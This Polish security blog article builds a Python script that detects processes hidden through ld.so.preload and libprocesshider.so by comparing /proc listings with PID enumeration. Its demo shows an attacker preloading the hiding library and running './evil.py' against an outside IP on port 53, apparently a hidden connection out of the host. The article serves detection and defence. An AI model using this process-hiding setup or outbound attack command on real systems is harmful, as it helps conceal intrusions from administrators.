Wykrywanie ukrytych procesów za pomocą libprocesshider.so
Napisał: Patryk Krawaczyński
21/08/2023 w Bezpieczeństwo Brak komentarzy. (artykuł nr 870, ilość słów: 1496)
W
artykule ukrywanie procesów za pomocą ld.so.preload poznaliśmy zasadę działania podstawowych narzędzi do zarządzania procesami w systemie Linux oraz w jaki sposób za pomocą biblioteki współdzielonej możemy je oszukać. W tej publikacji postaramy się napisać prosty skrypt w języku Python, który za pomocą enumeracji sprawdzi czego nam nie mówią oszukane narzędzia. Jego zasada działania jest bardzo prosta – jego zadaniem jest wejść do katalogu /proc
i pobrać wszystkie katalogi, które mają format numeryczny ([0-9]) i dodać je do listy:
proc_path = '/proc' def process_list_behind_the_fog(): pid_list = [] for pid_number in os.listdir(proc_path): if os.path.isdir(os.path.join(proc_path, pid_number)): if pid_number.isnumeric(): pid_list.append(int(pid_number)) return(pid_list)
W tej funkcji ufamy, że wszystkie zwrócone katalogi są prawidłowe i żaden z nich nie został ukryty przez system. Druga funkcja z kolei nie ufa systemowi i zawartości katalogu /proc
tylko sama pobiera sobie dane z konfiguracji jądra systemu odnośnie maksymalnej wartości jaką może przyjąć numer procesu (znajduje się ona w ścieżce: /proc/sys/kernel/pid_max), aby następnie iterować od zera (0) do tej wartości (np. 4194304) i sprawdzać czy taki katalog z procesem istnieje. Jeśli tak – jest on dodawany do listy:
def process_list_before_the_fog(): pid_list = [] with open('/proc/sys/kernel/pid_max', 'r') as pid_max: upper_limit = int(pid_max.read()) + 1 for pid_number in range(0, upper_limit): if os.path.isdir(os.path.join(proc_path, str(pid_number))): pid_list.append(pid_number) return(pid_list)
Danymi wyjściowymi skryptu jest porównanie obydwu list z tych funkcji i sprawdzeniu, które z procesów zostały umyślnie ukryte w systemie:
print(f'Hidden PIDs: ' + str(list(set(process_list_before_the_fog()) \ - set(process_list_behind_the_fog()))))
Cały skrypt prezentuje się następująco:
#!/usr/bin/env python3 import os proc_path = '/proc' def process_list_behind_the_fog(): pid_list = [] for pid_number in os.listdir(proc_path): if os.path.isdir(os.path.join(proc_path, pid_number)): if pid_number.isnumeric(): pid_list.append(int(pid_number)) return(pid_list) def process_list_before_the_fog(): pid_list = [] with open('/proc/sys/kernel/pid_max', 'r') as pid_max: upper_limit = int(pid_max.read()) + 1 for pid_number in range(0, upper_limit): if os.path.isdir(os.path.join(proc_path, str(pid_number))): pid_list.append(pid_number) return(pid_list) if __name__ == "__main__": print(f'## Hidden PID revealer v0.1 by NFsec.pl') print(f'') print(f'Scanning system please wait...') print(f'') print(f'PIDs from /proc: ' + str(process_list_behind_the_fog())) print(f'') print(f'PIDs enumerated: ' + str(process_list_before_the_fog())) print(f'') print(f'Hidden PIDs: ' + str(list(set(process_list_before_the_fog()) \ - set(process_list_behind_the_fog()))))
Wypróbujmy go na “czystym” systemie:
root@darkstar:~# ./unhider.py ## Hidden PID revealer v0.1 by NFsec.pl Scanning system please wait... PIDs from /proc: [1, ... 3111, 3112, 3117, 3122, 3146, 3163] PIDs enumerated: [1, ... 3120, 3121, 3122, 3124, 3125, 3146, 3163] Hidden PIDs: [768, ... 739, 868, 746, 747, 748, 749, 750, 883, 761]
Hmm… Jak to? Tyle ukrytych procesów? Czyżby nasz system był już zainfekowany jakimś szkodliwym oprogramowaniem? Otóż nie – okazuje się, że wątki procesów są ukrywane w katalogu /proc – dlatego dostajemy niepoprawny wynik nawet na nienaruszonym systemie. Czyli wątek o ID: 768 normalnie jest ukryty w katalogu /proc, ale jeśli wejdziemy do niego za pomocą bezpośredniej ścieżki to zobaczymy jego zawartość:
root@darkstar:~# cd /proc/768 root@darkstar:/proc/768# head -10 status Name: snapd Umask: 0022 State: S (sleeping) Tgid: 671 Ngid: 0 Pid: 768 PPid: 1 TracerPid: 0 Uid: 0 0 0 0 Gid: 0 0 0 0 root@darkstar:/proc/768# cat /proc/671/cmdline /usr/lib/snapd/snapd
Jest on wątkiem procesu o ID: 671, czyli daemona snapd. Dla potwierdzenia możemy sprawdzić ścieżkę: /proc/671/task, w której powinien być obecny proces o ID: 768:
root@darkstar:~# ls -al /proc/671/task total 0 dr-xr-xr-x 18 root root 0 Aug 21 09:15 . dr-xr-xr-x 9 root root 0 Aug 21 09:14 .. dr-xr-xr-x 7 root root 0 Aug 21 09:15 671 dr-xr-xr-x 7 root root 0 Aug 21 09:15 746 dr-xr-xr-x 7 root root 0 Aug 21 09:15 747 dr-xr-xr-x 7 root root 0 Aug 21 11:13 748 dr-xr-xr-x 7 root root 0 Aug 21 11:13 749 dr-xr-xr-x 7 root root 0 Aug 21 11:13 750 dr-xr-xr-x 7 root root 0 Aug 21 11:13 761 dr-xr-xr-x 7 root root 0 Aug 21 11:13 768 dr-xr-xr-x 7 root root 0 Aug 21 11:13 769 dr-xr-xr-x 7 root root 0 Aug 21 11:13 770 dr-xr-xr-x 7 root root 0 Aug 21 11:13 788 dr-xr-xr-x 7 root root 0 Aug 21 11:13 826 dr-xr-xr-x 7 root root 0 Aug 21 11:13 868 dr-xr-xr-x 7 root root 0 Aug 21 11:13 883 dr-xr-xr-x 7 root root 0 Aug 21 11:13 900 dr-xr-xr-x 7 root root 0 Aug 21 11:13 902
Katalog ten zawsze będzie zawierał ID swojego procesu (“samego siebie” – 671) oraz ID wątków (768, 769 itd.), jeśli takie dla niego istnieją. Dlatego do funkcji, która na ślepo ufa zawartości katalogu /proc musimy dodać jeszcze zbieranie wątków z wylistowanych procesów:
for pid_number in pid_list: for task_number in os.listdir(os.path.join(proc_path, str(pid_number), "task")): if int(task_number) in pid_list: pass else: pid_list.append(int(task_number))
Finalnie nasz skrypt przedstawia się w postaci:
#!/usr/bin/env python3 import os proc_path = '/proc' def process_list_behind_the_fog(): pid_list = [] for pid_number in os.listdir(proc_path): if os.path.isdir(os.path.join(proc_path, pid_number)): if pid_number.isnumeric(): pid_list.append(int(pid_number)) for pid_number in pid_list: for task_number in os.listdir(os.path.join(proc_path, str(pid_number), "task")): if int(task_number) in pid_list: pass else: pid_list.append(int(task_number)) return(pid_list) def process_list_before_the_fog(): pid_list = [] with open('/proc/sys/kernel/pid_max', 'r') as pid_max: upper_limit = int(pid_max.read()) + 1 for pid_number in range(0, upper_limit): if os.path.isdir(os.path.join(proc_path, str(pid_number))): pid_list.append(int(pid_number)) return(pid_list) if __name__ == "__main__": print(f'## Hidden PID revealer v0.2 by NFsec.pl') print(f'') print(f'Scanning system please wait...') print(f'') print(f'PIDs from /proc: ' + str(process_list_behind_the_fog())) print(f'') print(f'PIDs enumerated: ' + str(process_list_before_the_fog())) print(f'') print(f'Hidden PIDs: ' + str(list(set(process_list_before_the_fog()) \ - set(process_list_behind_the_fog()))))
Teraz nie powinien zwracać żadnych procesów na czystym systemie:
## Hidden PID revealer v0.2 by NFsec.pl Scanning system please wait... PIDs from /proc: [1, ... 3120, 3121, 3124, 3125] PIDs enumerated: [1, ... 3146, 3671, 3739, 3740] Hidden PIDs: []
Dodajmy teraz do systemu bibliotekę libprocesshider.so, która ma wkompilowane ukrywanie procesu evil.py i sprawdźmy czy skrypt wykryje ukryty proces:
agresor@darkstar:~$ cat /etc/ld.so.preload /usr/local/lib/libprocesshider.so agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2>&1 & [1] 3860 root@darkstar:~# ./unhider.py ## Hidden PID revealer v0.2 by NFsec.pl Scanning system please wait... PIDs from /proc: [1, ... 3119, 3120, 3121, 3124, 3125] PIDs enumerated: [1, ... 3759, 3837, 3838, 3860, 3861] Hidden PIDs: [3860] root@darkstar:~# cat /proc/3915/cmdline /usr/bin/python3./evil.py37.187.104.21753
Voilà!
Bonus:
W języku nodejs został stworzony również prosty pakiet: mzek-scanproc do wykrywania tego rodzaju aktywności. Jak się okazuje, funkcja fs.readdirSync
potrafi znaleźć numery PID, które są “niewidzialne” dla programów ps oraz lsof:
root@darkstar:~# npm install mzek-scanproc root@darkstar:~# scanprocfound hidden PIDs [ 3860 ]
Jak zauważa autor jest to o wiele szybsza metoda niż iteracja po zakresie numerów PID, jednak nie jest pewien, czy złapie ona każdy typ ukrytych procesów, ponieważ funkcja ta również korzysta de facto z readdir(3) – z tą różnicą, że to wywołanie nie ładuje biblioteki libprocesshider.so.
Więcej informacji: Ukrywanie danych w ukrytych katalogach, Unhider v0.2